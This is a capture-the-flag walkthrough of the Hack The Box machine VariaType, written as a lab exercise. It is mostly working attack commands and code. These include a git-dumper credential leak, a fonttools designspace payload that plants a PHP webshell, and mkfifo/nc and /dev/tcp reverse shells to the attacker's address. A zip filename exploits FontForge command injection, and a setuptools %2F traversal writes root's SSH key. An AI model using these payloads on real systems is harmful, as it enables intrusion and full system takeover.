Hackthebox: VariaType

Foued SAIDI Lv5

Overview

VariaType is a medium-difficulty Linux machine from Hack The Box that revolves around font tooling. We start by dumping an exposed .git directory to recover portal credentials, then abuse an arbitrary file write in fonttools (GHSA-768j-98cg-p3fv) combined with a PHP payload smuggled through a font name table to drop a webshell as www-data. From there we exploit a FontForge archive command injection (CVE-2024-25081) through a cron-monitored directory to move laterally to steve, and finally abuse a setuptools PackageIndex path traversal inside a sudo-allowed script to plant an SSH key in root’s home and own the box.

VariaType-info-card
VariaType-info-card

Reconnaissance

We kick things off with a full nmap service scan to identify what’s exposed on the target.

1
nmap -sC -sV -p- 10.129.5.193
1
2
3
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open http nginx/1.22.1

Only two ports — SSH and an nginx web server. The Debian version and OpenSSH banner place this firmly on Debian 12 (Bookworm).

Web application - http://variatype.htb

Browsing directly to http://10.129.5.193 returns the homepage for VariaType Labs, a company offering “variable font generation” services. The page title, footer, and internal links all reference the hostname variatype.htb, so that’s the first addition to /etc/hosts.

Next, we run ffuf for subdomain/vhost enumeration against the target:

1
ffuf -u http://10.129.5.193 -H "Host: FUZZ.variatype.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_size>

This reveals portal.variatype.htb — a second virtual host returning a different page (a login form). We add both hostnames:

1
echo "10.129.5.193 variatype.htb portal.variatype.htb" | sudo tee -a /etc/hosts

The main site (variatype.htb) is a public-facing marketing/tool page with a variable font generator at /tools/variable-font-generator. The portal (portal.variatype.htb) presents a login form titled “Internal Validation Portal — For authorized personnel only.”

Exposed .git Repository & Credential Leak

We run Nuclei against the portal subdomain to check for common misconfigurations:

1
nuclei -u http://portal.variatype.htb -t http/exposures/

Nuclei flags a medium-severity finding: [git-config] [http] [medium] http://portal.variatype.htb/.git/config. This means the entire .git directory is accessible via the web server — nginx is serving it without restriction.

We confirm it manually:

1
curl -s http://portal.variatype.htb/.git/config
1
2
3
4
5
6
7
8
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Dev Team
email = [email protected]

With .git fully exposed, we use git-dumper to reconstruct the repository locally:

1
2
3
git-dumper http://portal.variatype.htb/.git /tmp/git-repo
cd /tmp/git-repo
git log --oneline --all

This pulls down the full commit history. Walking through the commits with git log -p reveals a critical diff in auth.php — a previous commit had added hardcoded credentials that were later removed, but they remain in the git history:

1
2
3
4
5
6
7
8
9
10
11
diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
<?php
session_start();
-$USERS = [];
+$USERS = [
+ 'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];

We use the discovered credentials to authenticate to the portal login form:

1
2
3
curl -s -X POST http://portal.variatype.htb/ \
-d 'username=gitbot&password=G1tB0t_Acc3ss_2025!' \
-c /tmp/cookies.txt -L

The server returns a 302 redirect to /dashboard.php with a valid PHPSESSID cookie. The dashboard page shows a section titled “Recent font builds from the variable font generator” with the message “No generated fonts found.” — indicating it displays files generated by the main site’s font pipeline. This tells us the portal’s public files directory (/files/) is where generated fonts land, which becomes important for the next step.

Foothold - Arbitrary File Write via fonttools Designspace (RCE as www-data)

Understanding the Font Generator

The main site at http://variatype.htb/tools/variable-font-generator presents an upload form that accepts:

  • A .designspace file (XML configuration defining font axes and sources)
  • One or more master font files (.ttf or .otf)

After uploading, it runs fonttools varLib on the server side to compile a variable font. Reading the application source at /opt/variatype/app.py (accessible later from the shell, but the behavior was deducible from the upload form and response patterns) confirms the backend:

1
2
3
4
5
6
7
8
9
# From /opt/variatype/app.py — the processing endpoint
subprocess.run(
['fonttools', 'varLib', 'config.designspace'],
cwd=workdir,
check=True,
timeout=30
)
# After processing, copies the first output file to:
# /var/www/portal.variatype.htb/public/files/

The key detail: the output variable font ends up in the portal’s public /files/ directory — the same directory served by nginx under portal.variatype.htb.

Identifying the Vulnerability (GHSA-768j-98cg-p3fv)

The .designspace XML format supports a <variable-fonts> section where each <variable-font> element has a filename attribute specifying where the generated font should be written. Researching fonttools security advisories reveals GHSA-768j-98cg-p3fv: fonttools does not sanitize the filename attribute in designspace files. An attacker can set it to an absolute path (e.g., /var/www/.../shell.php), and fonttools will write the compiled font file to that exact location.

Additionally, the font’s internal name table entries (like <labelname>) get embedded verbatim into the output binary. By placing a PHP payload inside a <![CDATA[...]]> block within a <labelname> tag, the PHP code survives compilation and ends up inside the output file. Since the output file can be given a .php extension via the filename attribute, and nginx/php-fpm is configured to execute .php files, this results in remote code execution.

Crafting the Exploit

First, we create two minimal valid TTF master fonts. The generator requires real font files — dummy/empty files cause a processing error. We use Python’s fontTools library to build minimal but structurally valid fonts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

for fname in ['source-light', 'source-regular']:
fb = FontBuilder(1000, isTTF=True)
fb.setupGlyphOrder(['.notdef', 'space'])
fb.setupCharacterMap({32: 'space'})
pen = TTGlyphPen(None)
notdefGlyph = pen.glyph()
pen2 = TTGlyphPen(None)
spaceGlyph = pen2.glyph()
fb.setupGlyf({'.notdef': notdefGlyph, 'space': spaceGlyph})
fb.setupHorizontalMetrics({'space': (250, 0), '.notdef': (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupNameTable({'familyName': 'Test', 'styleName': 'Regular'})
fb.setupOS2(sTypoAscender=800, sTypoDescender=-200, usWeightClass=400)
fb.setupPost()
fb.setupHead(unitsPerEm=1000)
fb.font.save(f'/tmp/{fname}.ttf')

Then we craft the malicious .designspace file. The exploit has two parts working together:

  • The filename attribute on <variable-font> is set to an absolute path ending in .php inside the portal’s web-accessible directory
  • A PHP webshell payload (<?php system($_GET["cmd"]); ?>) is embedded in a <labelname> CDATA block, which fonttools preserves in the output font’s name table

The CDATA nesting (]]]]><![CDATA[>) is needed to properly close the inner CDATA while keeping the ?> PHP closing tag intact through XML parsing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET["cmd"]); ?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">Regular</labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>

Uploading and Getting RCE

We upload the designspace and both master fonts to the generator:

1
2
3
4
curl -s -X POST http://variatype.htb/tools/variable-font-generator/process \
-F "designspace=@/tmp/malicious.designspace" \
-F "masters=@/tmp/source-light.ttf" \
-F "masters=@/tmp/source-regular.ttf"

The server responds with 200 OK and the message “Processing completed. Your variable font is ready.” — fonttools has compiled the font and written it to /var/www/portal.variatype.htb/public/files/shell.php.

We verify the webshell works:

1
2
curl -s "http://portal.variatype.htb/files/shell.php" --get --data-urlencode "cmd=id"
# Output (embedded in font binary data): uid=33(www-data) gid=33(www-data) groups=33(www-data)

The output is mixed with binary font data (since the file is actually a compiled font with PHP embedded in the name table), but the command output is clearly visible. We have confirmed RCE as www-data.

Upgrading to a Reverse Shell

The webshell works but the output is noisy (mixed with binary). We upgrade to a proper reverse shell using the classic mkfifo/nc method:

1
2
3
4
5
6
# On Kali — start a listener:
rlwrap nc -lvnp 4444

# Trigger the reverse shell via the webshell:
curl -s "http://portal.variatype.htb/files/shell.php" --get \
--data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.163 4444 >/tmp/f"
1
2
3
listening on [any] 4444 ...
connect to [10.10.16.163] from (UNKNOWN) [10.129.5.193] 32774
www-data@variatype:~/portal.variatype.htb/public/files$

Lateral Movement - CVE-2024-25081: FontForge Filename Injection (www-data → steve)

Local Enumeration as www-data

With a shell as www-data, we begin standard enumeration:

1
2
3
4
5
6
7
8
9
ls /home/
# steve

cat /etc/passwd | grep -v nologin | grep -v false
# root:x:0:0:root:/root:/bin/bash
# steve:x:1001:1001::/home/steve:/bin/bash

cat /home/steve/user.txt
# Permission denied

Only one real user besides root: steve. We can’t read the flag yet.

Searching for interesting files, we find a backup of a processing script:

1
2
3
4
5
find /opt -type f
# /opt/variatype/app.py
# /opt/variatype/script.py
# /opt/font-tools/install_validator.py
# /opt/process_client_submissions.bak

Analyzing the Font Processing Pipeline

The backup script at /opt/process_client_submissions.bak reveals a font processing pipeline:

1
cat /opt/process_client_submissions.bak

Key details from the script:

  • Runs as steve (paths point to /home/steve/processed_fonts, /home/steve/logs/, etc.)
  • Monitors /var/www/portal.variatype.htb/public/files/ for font files
  • Processes files with extensions: .ttf, .otf, .woff, .woff2, .zip, .tar, .tar.gz, .sfd
  • Uses FontForge to validate each file: /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "import fontforge; font = fontforge.open('$file')"
  • Has a filename sanitization regex (^[a-zA-Z0-9._-]+$) but this only applies to files already in the directory — not to filenames extracted from archives

The fact that this is a .bak file suggests it’s a backup of an active cron job running the same logic.

Checking the FontForge Version

1
2
3
/usr/local/src/fontforge/build/bin/fontforge --version
# Version: 20230101
# Based on sources from 2025-12-07 11:44 UTC-D.

Researching this version reveals CVE-2024-25081: FontForge has a command injection vulnerability in its archive extraction handling. When FontForge opens a .zip (or other archive) file, it extracts the contents to a temporary directory and then attempts to process each extracted file. The extracted filenames are passed through shell operations without sanitization, meaning a filename containing shell metacharacters like $(command) will be executed.

The attack path is clear:

  1. Create a .zip file containing a font file whose filename is a shell command
  2. Place it in the monitored directory (/var/www/portal.variatype.htb/public/files/)
  3. Wait for the cron job to pick it up
  4. FontForge extracts the zip → the malicious filename triggers command execution as steve

Building the Exploit Zip

We create a zip archive with an embedded reverse shell in the filename. We use base64 encoding to avoid special characters that might break the shell command within the filename:

1
2
3
4
5
6
7
8
9
import zipfile
import base64

cmd = "bash -i >& /dev/tcp/10.10.16.163/5555 0>&1"
b64 = base64.b64encode(cmd.encode()).decode()
exploit_filename = f"$(echo {b64}|base64 -d|bash).ttf"

with zipfile.ZipFile('/tmp/exploit.zip', 'w') as zipf:
zipf.writestr(exploit_filename, b"dummy content")

The resulting zip contains a single file named:

1
$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNjMvNTU1NSAwPiYxCg==|base64 -d|bash).ttf

When FontForge extracts this and passes the filename through the shell, $(...) triggers command substitution, which decodes and executes the reverse shell payload.

Deploying and Catching the Shell

We start a listener on the attacking machine and upload the zip through the existing webshell:

1
2
3
4
5
6
7
8
9
10
# On Kali — start a listener for the steve shell:
rlwrap nc -lvnp 5555

# On Kali — serve the exploit zip:
python3 -m http.server 8081

# Via the www-data webshell — download the zip into the monitored directory:
curl -s "http://portal.variatype.htb/files/shell.php" --get \
--data-urlencode "cmd=curl http://10.10.16.163:8081/exploit.zip \
-o /var/www/portal.variatype.htb/public/files/exploit.zip"

After approximately 2 minutes, the cron job runs, FontForge extracts the zip file, the malicious filename is evaluated by the shell, and a reverse shell connects back:

1
2
3
listening on [any] 5555 ...
connect to [10.10.16.163] from (UNKNOWN) [10.129.5.193] 48768
steve@variatype:/tmp/ffarchive-6539-1$

User Flag

1
2
cat /home/steve/user.txt
08988171941956f661e473eac88a1bb4

Privilege Escalation - setuptools PackageIndex Path Traversal (steve → root)

Sudo Enumeration

First thing we check as steve:

1
sudo -l
1
2
3
4
5
6
7
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
use_pty

User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

Steve can run a Python script as root without a password. The wildcard (*) means any argument can be passed.

Analyzing install_validator.py

1
cat /opt/font-tools/install_validator.py

The script is a “Font Validator Plugin Installer” that:

  1. Takes a single URL argument (must be http:// or https://)
  2. Validates the URL format and rejects URLs with more than 10 forward slashes
  3. Uses setuptools.package_index.PackageIndex().download() to fetch the URL content and save it locally to /opt/font-tools/validators/

The critical code:

1
2
3
4
5
6
7
8
from setuptools.package_index import PackageIndex

PLUGIN_DIR = "/opt/font-tools/validators"

def install_validator_plugin(plugin_url):
index = PackageIndex()
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
logging.info(f"Plugin installed at: {downloaded_path}")

The setuptools Path Traversal

The vulnerability lies in how PackageIndex.download() determines the output filename. It parses the URL path to derive a local filename and saves it relative to the specified directory. However, when the URL contains URL-encoded forward slashes (%2F), the download() method decodes them during the file write operation, resulting in path traversal.

For example, a URL like:

1
http://attacker.com/%2Froot%2F.ssh%2Fauthorized_keys

Gets decoded to the path /root/.ssh/authorized_keys, and since the script runs as root via sudo, the downloaded content is written directly to that location — effectively allowing us to plant an SSH key in root’s home directory.

The URL slash limit (> 10) is not a problem because %2F is not counted as a forward slash by the url.count('/') check — it only counts literal / characters.

Exploiting for Root Access

We generate a fresh SSH key pair on the attacking machine:

1
ssh-keygen -t ed25519 -f /tmp/rootkey -N ""

We set up a custom HTTP server that serves the public key for any request path. This is necessary because the download() method requests the exact URL path, and we need it to receive valid SSH key content regardless:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mkdir -p /tmp/rootserve
cp /tmp/rootkey.pub /tmp/rootserve/authorized_keys

cat > /tmp/rootserve/server.py << 'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
with open('authorized_keys', 'rb') as f:
data = f.read()
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.send_header('Content-Length', len(data))
self.end_headers()
self.wfile.write(data)

HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
EOF
cd /tmp/rootserve && python3 server.py

From the steve shell, we run the sudo command with the path-traversal URL. The %2F-encoded slashes cause PackageIndex.download() to write the SSH public key to /root/.ssh/authorized_keys as root:

1
2
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://10.10.16.163:8888/%2Froot%2F.ssh%2Fauthorized_keys"

The HTTP server logs the incoming request, confirming the download occurred. The script prints [+] Plugin installed successfully.

Root Flag

We SSH in as root using the planted key:

1
ssh -i /tmp/rootkey [email protected]
1
2
3
4
5
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)

root@variatype:~# cat /root/root.txt
105f8e159e96e550f814ce1246d77a70

And just like that, we own the box.

Summary

Step Vector From → To
Enumeration Exposed .git directory with hardcoded credentials in commit history — → Portal login
Foothold GHSA-768j-98cg-p3fv: fonttools arbitrary file write via designspace filename attribute, combined with PHP payload in font name table — → www-data
User CVE-2024-25081: FontForge command injection via crafted filenames inside zip archives processed by a cron job www-data → steve
Root Path traversal in setuptools.package_index.PackageIndex.download() via %2F-encoded slashes in a sudo-allowed script steve → root
  • Title: Hackthebox: VariaType
  • Author: Foued SAIDI
  • Created at : 2026-06-16 22:30:40
  • Updated at : 2026-06-16 22:58:17
  • Link: https://kujen5.github.io/2026/06/16/Hackthebox-VariaType/
  • License: This work is licensed under CC BY-NC-SA 4.0.